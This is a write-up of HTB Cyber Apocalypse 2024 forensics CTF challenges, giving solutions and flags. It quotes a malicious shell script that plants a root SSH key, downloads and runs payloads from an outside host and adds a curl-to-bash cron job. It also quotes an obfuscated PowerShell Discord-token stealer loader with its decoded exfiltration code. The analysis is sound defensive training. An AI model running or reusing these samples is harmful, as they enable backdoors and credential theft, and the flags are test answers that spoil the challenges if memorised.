HTB Cyber Apocalypse CTF 2024 — Forensics
Write-ups for HTB Cyber Apocalypse 2024 CTF Forensic challenges
🏠 HTB Cyber Apocalypse CTF 2024 Write-ups
Forensic Challenges
· Urgent
· It Has Begun
· An Unusual Sighting
· Pursue The Tracks
· Fake Boost
· Phreaky
Urgent
In the midst of Cybercity’s “Fray,” a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions’ destiny.
File: forensics_urgent.zip
💡Solution
We start with a nice and easy one to warm up our hacky fingers!
Download the email file attached to the challenge and extract the archive forensics_urgent.zip to a folder. It should contain the file: “Urgent Faction Recruitment Opportunity — Join Forces Against KORP™ Tyranny.eml”.
Open with your email client (in a sandbox or a VM of course, for we shall trust no one and no CTF, right?).
Open the HTML attachment.
Definitely make sure you do this in a VM or a sandbox, seriously now…
Ok, nothing obvious. Let’s look at the source code.
This now looks interesting. It seems to be a URL-encoded message. Let’s decode it using our trusty CyberChef tool using the URL Decode recipe.
Bingo! We have the flag 😉
Flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}
It Has Begun
The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.
File: script.sh
💡 Solution
Download the challenge file “forensics_it_has_begun.zip” and extract the shell script contained within.
script.sh
#!/bin/sh
if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
exit
fi
if [ "$EUID" -ne 0 ]; then
exit
fi
docker kill $(docker ps -q)
docker rm $(docker ps -a -q)
echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keysecho "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts
for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_>
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi
done
ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")
if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
exit
fi
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab
Remember this is meant to be a very easy challenge so look in obvious places and do not overcomplicate it.
Right off the bat, I see something interesting towards the end of the echo “ssh-rsa..” line. notice the following string: user@tS_u0y_ll1w{BTH. Let’s drop the user@ part and work on reversing what seems to be the first part of a flag:
echo "tS_utS_u0y_ll1w{BTH" | rev
HTB{w1ll_y0u_StThe second part of the flag after careful examination of the bash file seemed to be the seemingly encoded string on the very last line,
bash -c ‘NG5kX3kwdVJfR3IwdU5kISF9’. Let’s try our first go-to encoding:
echo 'NG5kX3kwdVJfR3IwdU5kISF9' | base64 -d
4nd_y0uR_Gr0uNd!!} Bingo. We got the second part now. Easy day in the office!
Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}
An Unusual Sighting
As the preparations come to an end, and The Fray draws near each day, our newly established team has started work on refactoring the new CMS application for the competition. However, after some time we noticed that a lot of our work mysteriously has been disappearing! We managed to extract the SSH Logs and the Bash History from our dev server in question. The faction that manages to uncover the perpetrator will have a massive bonus come competition!
Files:
- bash_history.txt
- sshd.log
💡 Solution
Download and extract the ZIP archive which contains the two files needed for the investigation: bash_history.txt and sshd.log.
There is no hard and fast rule for starting this type of investigation. A lot of it depends on experience and gut feeling. I’ve started looking at successful and unsuccessful logins before checking for anomalies to kick off with.
However, let’s stick to the task at hand and focus on the questions asked. For this exercise, grep is your biggest friend.
Q1: What is the IP Address and Port of the SSH Server (IP:PORT)
The server IP and Port are usually displayed at the start of the sshd.log file when the service runs. The port that it’s listening on as well as the IP it accepts connections on should be in the first 3 or 5 lines.
Answer: 100.107.36.130:2221
Q2: What time is the first successful Login?
We can search the sshd.log file for “Accepted password” or “Starting session”. Either should work. Here’s the minor difference between the two:
- Starting session: indicates the beginning of the session initialization process using valid credentials or SSH key but doesn’t indicate if they have been accepted by the system.
- Accepted password: confirms that the user’s password has been successfully authenticated and accepted by the system.
Although both would give you the answer, it is more apt to use “Accepted”.
Nice and easy, and gets our hands dirty with some cyber incident analysis.
Answer: 2024–02–13 11:29:50
Q3: What is the time of the unusual Login
If we examine all sessions started or accepted, we see an IP address that stands out as anomalous. the only IP that does not start in the range of 100.x.x.x is 2.67.182.119 and the matching time of the session is
2024–02–19 04:00:14.
Answer: 2024–02–19 04:00:14
Q4: What is the Fingerprint of the attacker’s public key?
Let’s search for the attacker’s IP now that we know it.
Answer: OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
Q5: What is the first command the attacker executed after logging in?
We know from Q3 the time the attacker’s session started. Now Let’s correlate the time with the commands.
The attacker logged in at 04:00:14 and the closest match to a command being executed after that time was at 04:00:18 when he ran “whoami”.
Answer: whoami
Q6: What is the final command the attacker executed before logging out
From the results of Question 4 (see screenshot of Q4) we know the attacker disconnected at 04:38:17. Correlating that with the times in bash_history.txt, we have “./setup” as the last command that was executed before the session ended.
Answer: ./setup
Bingo! We have now been rewarded with the flag for solving the last question of the challenge. For the impatient, here are all the answers and the interaction of this challenge.
Do you want to get fancy with it? Being a lazy Maverick is good. Let’s automate it!
This script was contributed by WR4TH from the WindTeam.
unusual_sighting.py
from pwn import *
import time
context.log_level = 'ERROR'
io = remote("83.136.254.108", 37329) # Change IP and PORT
# Add 10 seconds delay for the welcome message to finish
# Add 3 seconds delay for the server to process response and send a new question
time.sleep(10)
io.sendlineafter(b"> ", b"100.107.36.130:2221")
time.sleep(3)
io.sendlineafter(b"> ", b"2024-02-13 11:29:50")
time.sleep(3)
io.sendlineafter(b"> ", b"2024-02-19 04:00:14")
time.sleep(3)
io.sendlineafter(b"> ", b"OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4")
time.sleep(3)
io.sendlineafter(b"> ", b"whoami")
time.sleep(3)
io.sendlineafter(b"> ", b"./setup")
time.sleep(3)
print(io.recv().decode())Run the code:
python3 unusual2.py
[+] Correct!
[+] Here is the flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!} sheFlag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!}
Pursue The Tracks
Luxx, leader of The Phreaks, immerses himself in the depths of his computer, tirelessly pursuing the secrets of a file he obtained accessing an opposing faction member workstation. With unwavering determination, he scours through data, putting together fragments of information trying to take some advantage on other factions. To get the flag, you need to answer the questions from the docker instance.
Files: z.mft
💡Solution
Once you unzip the compressed challenge archive, you are left with a file named z.mft.
MFT (Master FIle Table) is a crucial component of NTFS file system which contains metadata about all files and directories on an NTFS volume, including information such as file names, timestamps, file attributes, file size, file permissions, and the location of the file’s data on the disk.
MFT analysis is a fundamental technique in digital forensics for understanding file system artifacts, reconstructing events, recovering deleted data, and preserving digital evidence.
To kick off this task, I initially used AnalyzeMFT which helped me create a CSV extract that I was able to load into Excel and answer a few of the questions. Soon, I hit a wall with some questions such as file sizes which weren’t available in the extracts. I’ve been told a few people made the same mistake too.
After some research, I have found an excellent tool called MFTECmd by Eric Zimmerman which helped me get all the necessary data. This works in the same way as AnalyzeMFT and dumps the data into a CSV file.
A few colleagues have mentioned that they have used a more friendly tool named MFT Explorer, also created by Eric Zimmerman.
mftecmd.exe -f z.mft --csv mft_output.csv
Let’s answer some questions:
Q1: Files are related to two years, which are those? (for example: 1993,1995)
Answer: 2023,204
Q2: There are some documents, which is the name of the first file written?
We must first address the Date & Time formatting in the CSV. Format the cells with a custom value of dd/mm/yyyy hh:mm:ss before we begin.
Answer: Final_Annual_Report.xlsx
Q3: Which file was deleted?
For deletion, we need to look for the column and values Active = INACTIVE (AnalyzeMFT) or InUSE = FALSE (MFTECmd)
Answer: Marketing_Plan.xlsx
Q4: How many of them have been set in Hidden mode? (for example: 43)
For this information, we need to look for the answer in the SiFlags column.
The SiFlags refer to the security identifier (SID) flags, which provide information about the security settings and permissions applied to the file or directory such as hidden files or directories.
In this case, we can see that only credentials.txt is set to “Hidden”.
Answer: 1
Q5: Which is the filename of the important TXT file that was created?
Nice and quick. There’s been only one text file created as you can see from the column “Extension” is: credentials.txt
Answer: credentials.txt
Q6: A file was also copied, which is the new filename?
The only file which has the column “Copied” set to TRUE is Financial_Statement_draft.xlsx.
Answer: Financial_Statement_draft.xlsx
Q7: Which file was modified after creation?
Compare the Created date and Last Modified date, they’re only different for one file: Project_Proposal.pdf.
Answer: Project_Proposal.pdf
Q8: What is the name of the file located at record number 45?
This one is as easy as looking into the “EntryNumber” column and scrolling down to entry 45.
Answer: Annual_Report.xlsx
Q9: What is the size of the file located at record number 40?
Scroll down to EntryNumber or record number 40 (Final_Project_Proposal.pdf) and grab the file size from the column “FileSize” which is: 57344.
Answer: 57344
Here’s a screenshot of the full interaction with the service:
Flag: HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}
Fake Boost
In the shadow of The Fray, a new test called “”Fake Boost”” whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.
File: capture.pcapng
💡Solution
When analyzing network packet captures, the first thing I like to do is to do some high-level analysis before we dive deep into low-level analysis.
Let’s start with my favorite high-level view: Statistics → Protocol Hierarchy.
We immediately see that there is some HTTP traffic containing data. Usually, I either start by following the HTTP Stream or exploring if there are any HTTP objects or files that could be extracted and exported.
File → Export Objects → HTTP
⚠️Warning: DO NOT do this on your work machine or your personal machine’s host OS directly. Use a virtual machine, a sandbox or a dedicated CTF laptop to work with potentially malicious files.
I’ve exported the files to my Kali VM
File: freediscordnitro
$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1WgACIgoQDhRXYERWZ0BXeyNmblRCIrAiVJ5CZldWYuFWTzVWYkASPgEGdhREbsVnZkASXdtVZ0lnYbBCIgAiCNsTKoR3ZuVGTuMXZ0lnYkACLwACLzVGd5JGJos2YvxmQsFmbpZUby9mZz5WYyRlLy9Gdwlncj5WZkASPgEGdhREZlRHc5J3YuVGJgACIgoQDpgicvRHc5J3YuVUZ0FWZyNkLkV2Zh5WYNNXZhRCI9AicvRHc5J3YuVGJgACIgoQD5V2akACdjVmai9EZldWYuFWTzVWQtUGdhVmcDBSPgQWZnFmbh10clFGJgACIgoQDpQHelRnbpFGbwRCKzVGd5JEdldkL4YEVVpjOddmbpR2bj5WRuQHelRlLtVGdzl3UbBSPgMXZ0lnYkACIgAiCNsHIpQHelRnbpFGbwRCIskXZrRCKn5WayR3UtQHc5J3YuVEIu9Wa0Nmb1ZmCNoQD9pQDkV2Zh5WYNNXZhRCIgACIK0QfgACIgoQD9BCIgACIgACIK0QeltGJg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegU2csVGIgACIgACIgoQD9BCIgACIgACIK0QK5V2akgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegkiIn5WayR3UiAScl1CIl1WYO5SKoUGc5RFdldmL5V2akgCImlGIgACIgACIgoQD7BSK5V2akgCImlGIgACIK0QfgACIgoQD9BCIgACIgACIK0gVJRCI9AiVJ5CZldWYuFWTzVWYkACIgACIgACIgACIgoQD7BSZzxWZgACIgACIgAiCN0HIgACIgACIgoQDpYVSkgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DIWlkLkV2Zh5WYNNXZhRCIgACIgACIgACIgAiCNsHIpIyZulmc0NlIgEXZtASZtFmTukCKlBXeURXZn5iVJRCKgYWagACIgACIgAiCNsHIpYVSkgCImlGIgACIK0gN1IDI9ASZ6l2U5V2SuQWZnFmbh10clFGJgACIgoQD4ITMg0DIlpXaTt2YvxmQuQWZnFmbh10clFGJgACIgoQD3M1QLBlO60VZk9WTn5WakRWYQ5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgcmbpRGZhBlLkV2Zh5WYNNXZhRCIgACIK0gCNoQD9JkRPpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7liICZ0Ti0TZk9WbkgCImlWZzxWZgACIgoQD9J0QFpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7BSKiI0QFJSPlR2btRCKgYWalNHblBCIgAiCN03UUNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5CZldWYuFWTzVWYksHIpIyUUNkI9UGZv1GJoAiZpV2csVGIgACIK0QfCZ0Q6oTXlR2bNJXZoBXaD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgUGZv1kLkV2Zh5WYNNXZhRyegkiICZ0Qi0TZk9WbkgCImlWZzxWZgACIgoQD9ByQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5CZldWYuFWTzVWYkAyegkiIDJ0Qi0TZk9WbkgCImlGIgACIK0gCNICZldWYuFWTzVWQukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NlIgQ3YlpmYP1ydl5EI9ACZldWYuFWTzVWYkACIgAiCNsHIpUGZv1GJgwiVJRCIskXZrRCK0NWZqJ2TkV2Zh5WYNNXZB1SZ0FWZyNEIu9Wa0Nmb1ZmCNoQD9pQD9BCIgAiCN03egg2Y0F2YgACIgACIgAiCN0HIgACIgACIgoQDlNnbvB3clJFJg4mc1RXZyBCIgACIgACIgACIgoQDzJXZkFWZIRCIzJXZkFWZI1CI0V2RgQ2boRXZN1CIpJXVkASayVVLgQ2boRXZNR3clJVLlt2b25WSg0DIlNnbvB3clJFJgACIgACIgACIgACIK0gCNISZtB0LzJXZzV3L5Y3LpBXYv02bj5CZy92YzlGZv8iOzBHd0hmIg0DIpJXVkACIgACIgACIgACIgoQDK0QfgACIgACIgACIgACIK0gI2MjL3MTNvkmchZWYTBCO04CN2gjLw4SM58SZnRWRgkybrNWZHBSZrlGbgwCTNRFSLhCI2MjL3MTNvQXaLJWZXVGbwBXQgkCN2gHI7QjNul2VgsDMuATMgQlTgM3dvRmbpdFKgAjL18SYsxWa69WTiASPgICduV2ZB1iclNXViACIgACIgACIgACIgACIgAiCNIibvNnav42bpRXYjlGbwBXYiASPgISZwlHVtQnblRnbvNkIgACIgACIgACIgACIgACIgoQDuV2avRFJg0DIi42bpRXY6lmcvhGd1FkIgACIgACIgACIgACIgACIgoQD7BEI9AycyVGZhVGSkACIgACIgACIgACIgoQD7BSeyRHIgACIgACIgoQD7ByczV2YvJHcgACIgoQDK0QKgACIgoQDuV2avRFJddmbpJHdztFIgACIgACIgoQDdlSZ1JHdkASPgkncvRXYk5WYNhiclRXZtFmchB1WgACIgACIgAiCNgCItFmchBFIgACIK0QXpgyZulGZulmQ0VGbk12QbBCIgAiCNsHIvZmbJJXZzVFZy92YzlGRtQXZHBibvlGdj5WdmpQDK0QfK0wclR2bjRCIuJXd0VmcgACIgoQDK0QfgACIgoQDlR2bjRCI9sCIzVGZvNGJgACIgACIgAiCNkSfgkCK5FmcyFkchh2QvRlLzJXYoNGJgQ3YlpmYPRXdw5WStASbvRmbhJVL0V2RgsHI0NWZqJ2Ttg2YhVkcvZEI8BCa0dmblxUZk92Yk4iLxgCIul2bq1CI9ASZk92YkACIgACIgACIK0wegkyKrkGJgszclR2bDZ2TyVmYtVnbkACds1CIpRCI7ADI9ASakgCIy9mZgACIgoQDK0QKoAEI9AyclR2bjRCIgACIK0wJ5gzN2UDNzITMwoXe4dnd1R3cyFHcv5Wbstmaph2ZmVGZjJWYalFWXZVVUNlURB1TO1ETLpUSIdkRFR0QCF0Jg0DIzJXYoNGJgACIgoQDK0QKgACIgoQD2EDI9ACa0dmblxUZk92Yk0Fdul2WgACIgACIgAiCNwCMxASPgMXZk92Qm9kclJWb15GJdRnbptFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIzVGZvN0byRXaORmcvN2cpRUZ0Fmcl5WZHBibvlGdj5WdmpQDK0QfK0wcuV2avRHJg4mc1RXZyBCIgAiCNoQD9tHIoNGdhNGI9BCIgAiCN0HIgACIgACIgoQD9tHIoNGdhNGI9BCIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIgACIgoQDlVHbhZlLzVGajRXYN5yXkACIgACIgACIgACIgACIgACIgACIgACIgoQD7BCdjVmai9ULoNWYFJ3bGBCfgMXZoNGdh1EbsFULggXZnVmckAibyVGd0FGUtAyZulmc0NVL0NWZsV2UgwHI05WZ052bDVGbpZGJg0zKgMnblt2b0RCIgACIgACIgACIgACIgACIgACIgoQD7BSKpcSf1kDLwgzed1ydctlLcFmZtdCIscSfwETMsUjM71VL3x1WuwVf2sXXtcHXb5CX9ZjM71VL3x1WngCQg4WaggXZnVmckgCIoNWYlJ3bmBCIgACIgACIgACIgACIgAiCNoQDw9GdTBibvlGdjFkcvJncF1CI3FmUtASZtFmTsxWdG5yXkACa0FGUtACduVGdu92QtQXZHBSPgQnblRnbvNUZslmZkACIgACIgACIgACIgACIgAiCNsHI5JHdgACIgACIgACIgACIK0AIgACIgACIgACIgAiCNsHI0NWZqJ2Ttg2YhVkcvZEI8BSZjJ3bG1CIlNnc1NWZS1CIlxWaG1CIoRXYwRCIoRXYQ1CItVGdJRGbph2QtQXZHBCIgACIgACIK0wegknc0BCIgAiCNoQDpgCQg0DIz5WZr9GdkACIgAiCNoQDpACIgAiCNgGdhBHJddmbpJHdztFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIsFWZ0NFIu9Wa0Nmb1ZmCNoQDiEGZ3pWYrRmap9maxomczkDOxomcvADOwgjO1MTMuYTMx4CO2EjLykTMv8iOwRHdoJCI9ACTSVFJ" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;File: rj1893rj1joijdkajwda
bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA==There was a duplicate rj1893rj1joijdkajwda file which was very small in size. It contained nothing but “OK” so I will be ignoring that file.
We start by attempting to de-obfuscate the file freediscordnitro which looks like a PowerShell script. To do so safely I have installed PowerShell on my Linux machine:
$ sudo apt install powershell
$ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
┌──(cybersecmav㉿icedragon)
└─PS>After analyzing the obfuscated PowerShell script, it was evident that the final line contained the execution of the code.
Invoke expressions” (IEX) in PowerShell are a common method of executing code. They allow for the evaluation of expressions and the execution of code that is stored in a variable. Threat actors often use them for their ability to launch both local and remote payloads.
The most sensible way to handle this is by running everything up to the final line to avoid execution.
Now we expand the last variable and see what is contained within it:
PS> echo $LOaDcODEoPX3ZoUgP2T6cvl3KEK
$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"
function Steal {
param (
[string]$path
)
--SNIP--
"
Write-Host "Generating Discord nitro keys! Please be patient..."
$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
--SNIP--
$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
